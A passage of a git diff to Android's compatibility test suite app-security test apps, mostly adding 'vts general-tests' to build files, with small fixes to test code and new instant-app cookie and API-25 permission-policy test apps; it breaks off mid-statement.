+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index 915d432..7609e33 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDocumentProvider
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index edf6f15..91abb89 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -256,7 +256,7 @@
@Override
public void deleteDocument(String documentId) throws FileNotFoundException {
final Doc doc = mDocs.get(documentId);
- mDocs.remove(doc);
+ mDocs.remove(doc.docId);
for (Doc parentDoc : mDocs.values()) {
parentDoc.children.remove(doc);
}
@@ -268,7 +268,7 @@
// There are no multi-parented documents in this provider, so it's safe to remove the
// document from mDocs.
final Doc doc = mDocs.get(documentId);
- mDocs.remove(doc);
+ mDocs.remove(doc.docId);
mDocs.get(parentDocumentId).children.remove(doc);
}
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index 930ac82..a4a9436 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsEncryptionApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 37744fa..a7d7c8d 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,6 +19,7 @@
import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
+import android.app.KeyguardManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -55,6 +56,7 @@
private Context mCe;
private Context mDe;
private PackageManager mPm;
+ private KeyguardManager mKm;
private UiDevice mDevice;
private AwareActivity mActivity;
@@ -66,6 +68,7 @@
mCe = getInstrumentation().getContext();
mDe = mCe.createDeviceProtectedStorageContext();
mPm = mCe.getPackageManager();
+ mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
mDevice = UiDevice.getInstance(getInstrumentation());
assertNotNull(mDevice);
@@ -99,7 +102,9 @@
public void testTearDown() throws Exception {
// Just in case, always try tearing down keyguard
- dismissKeyguard();
+ if (mKm.isKeyguardLocked()) {
+ dismissKeyguard();
+ }
mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
AwareActivity.class, null);
@@ -172,6 +177,9 @@
mDevice.pressMenu();
mDevice.waitForIdle();
enterTestPin();
+ mDevice.waitForIdle();
+ mDevice.pressHome();
+ mDevice.waitForIdle();
}
public void assertLocked() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
index e5cd607..2721a12 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index b13432b..aaeb8c0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -27,7 +27,7 @@
ctstestrunner
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 1dd66a6..4f0ee6c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -21,7 +21,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
index 453dbcb..31a45b0 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -24,7 +24,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index 4cd5d79..43deb82 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -24,7 +24,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
index afd8903..5fa3765 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
index 1b1ee7d..1206e56 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -24,7 +24,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
index e1547a1..f446140 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -23,7 +23,7 @@
legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index b1b7f83..cd3c04e 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsEscalateToRuntimePermissions
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
index 560607b..47d468e 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.mk
@@ -18,13 +18,13 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsExternalStorageApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
index 101d564..1f9063c 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -26,7 +26,9 @@
LOCAL_PACKAGE_NAME := CtsInstantCookieApp
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
new file mode 100644
index 0000000..b154ae2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_PACKAGE_NAME := CtsInstantCookieApp2
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
new file mode 100644
index 0000000..31f653d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="test.instant.cookie"
+ android:versionCode="1"
+ android:versionName="1.0"
+ android:targetSandboxVersion="2">
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="test.instant.cookie" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
new file mode 100644
index 0000000..da1492f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/src/test/instant/cookie/CookieTest.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test.instant.cookie;
+
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+public class CookieTest {
+ @Test
+ public void testCookiePersistedAcrossInstantInstalls2() throws Exception {
+ PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+ // After the upgrade the cookie should be the same
+ assertEquals("2", new String(pm.getInstantAppCookie()));
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index 31dcd58..a48abbf 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,12 +21,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with different cert than CtsTargetInstrumentationApp
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 8a7f8d9..0834642 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -21,7 +21,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_EXPORT_PACKAGE_RESOURCES := true
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 5a5ab0d..48b4e3b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -19,7 +19,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_EXPORT_PACKAGE_RESOURCES := true
LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 39111fc..64b5fc3 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -19,7 +19,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
LOCAL_SRC_FILES := $(call all-subdir-java-files)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index 15beac4..f21d1d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -19,7 +19,7 @@
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
LOCAL_SRC_FILES := $(call all-subdir-java-files)
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index fd4d927..0744834 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsMultiUserStorageApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
index 69d3b4a..32f36d0 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.mk
@@ -23,7 +23,7 @@
LOCAL_PACKAGE_NAME := CtsNoRestartBase
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
index 204275b..626c0be 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.mk
@@ -23,7 +23,7 @@
LOCAL_PACKAGE_NAME := CtsNoRestartFeature
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
index d038a70..dfa703a 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsPkgAccessApp
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
index e0e900e..184b73f 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsPermissionDeclareApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsUsePermissionDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
index d4567e3..a5c227a 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsPermissionDeclareAppCompat
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsUsePermissionDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
new file mode 100644
index 0000000..9206b6f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.mk
@@ -0,0 +1,40 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsPermissionPolicyTest25
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
new file mode 100644
index 0000000..10484fb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.permission.policy">
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.permission.policy" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml
new file mode 100755
index 0000000..57d902c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+ <string name="Permissions">Permission policy 25</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
new file mode 100644
index 0000000..2db1f41
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permission.policy;
+
+import static junit.framework.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.support.test.InstrumentationRegistry;
+import org.junit.Test;
+
+/**
+ * Tests for the platform permission policy around apps targeting API 25
+ */
+public class PermissionPolicyTest25 {
+ private static final String PLATFORM_PACKAGE_NAME = "android";
+
+ @Test
+ public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final PackageInfo platformPackage = context.getPackageManager()
+ .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
+ String errorMessage = null;
+ for (PermissionInfo declaredPermission : platformPackage.permissions) {
+ PermissionInfo permissionInfo = context.getPackageManager()
+ .getPermissionInfo(declaredPermission.name, 0);
+ final int protectionLevel = permissionInfo.protectionLevel
+ & (PermissionInfo.PROTECTION_NORMAL
+ | PermissionInfo.PROTECTION_DANGEROUS
+ | PermissionInfo.PROTECTION_SIGNATURE);
+ final int protectionFlags = permissionInfo.protectionLevel & ~protectionLevel;
+ if (protectionLevel == PermissionInfo.PROTECTION_NORMAL && protectionFlags != 0) {
+ errorMessage += "\nCannot add protection flags: "
+ + protectionFlagsToString(permissionInfo.protectionLevel)
